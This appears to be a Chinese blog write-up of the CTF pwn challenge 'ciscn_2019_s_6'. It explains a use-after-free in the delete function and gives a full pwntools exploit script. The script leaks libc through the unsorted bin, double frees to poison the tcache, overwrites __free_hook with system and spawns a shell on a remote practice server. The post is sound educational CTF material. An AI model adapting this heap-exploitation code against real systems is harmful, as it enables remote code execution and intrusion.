ciscn_2019_s_6

安全检查

 

 开了ASLR,不能够用puts泄露了

流程分析

add函数

这应该是个结构体,0x0-0x7装载着name,0x8-0xc装载着size,0xc-0x18为call,heap_number+1

 

 show函数

打印,没什么特别

 

 call函数

其实就是delete函数

 

 漏洞分析

  • 由于有aslr,所以只能想别的方法溢出,但delete有uaf漏洞,所以构造unsorted bin来泄露libc的地址
  • 泄露完libc的地址在double free然后劫持__hook_free函数,在调用即可
from pwn import *

#p=process('./ciscn_s_6')
p=remote('node3.buuoj.cn',26462)
elf=ELF('./ciscn_s_6')
libc=ELF('./libc-2.27.so')
def add(size,name,call):
    p.recvuntil('choice:')
    p.sendline('1')
    p.recvuntil('name')
    p.sendline(str(size))
    p.recvuntil('name:')
    p.sendline(name)
    p.recvuntil('call:')
    p.sendline(call)

def show(idx):
    p.recvuntil('choice:')
    p.sendline('2')
    p.recvuntil('index:')
    p.sendline(str(idx))
    
def delete(idx):
    p.recvuntil('choice:')
    p.sendline('3')
    p.recvuntil('index:')
    p.sendline(str(idx))



add(0x88,'pppp','pppp')
add(0x20,'pppp','pppp')
add(0x20,'pppp','pppp')
for i in range(7):
    delete(0)

delete(0)
show(0)
p.recvuntil('name')
unsorted_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print hex(unsorted_addr)
libc_base=unsorted_addr-0x3ebca0
free_addr=libc.symbols['__free_hook']+libc_base
system_addr = libc_base + libc.symbols['system']

print hex(free_addr)
#p.recvuntil()
delete(1)
delete(1)
delete(1)

add(0x20,p64(free_addr),'pppp')
add(0x20,'pppp','pppp')
add(0x20,p64(system_addr),'pppp')
add(0x20,'/bin/sh','pppp')

delete(6)
#gdb.attach(p)
p.interactive()

 

posted @ 2020-11-17 22:07  PYozo_free  阅读(364)  评论(0编辑  收藏  举报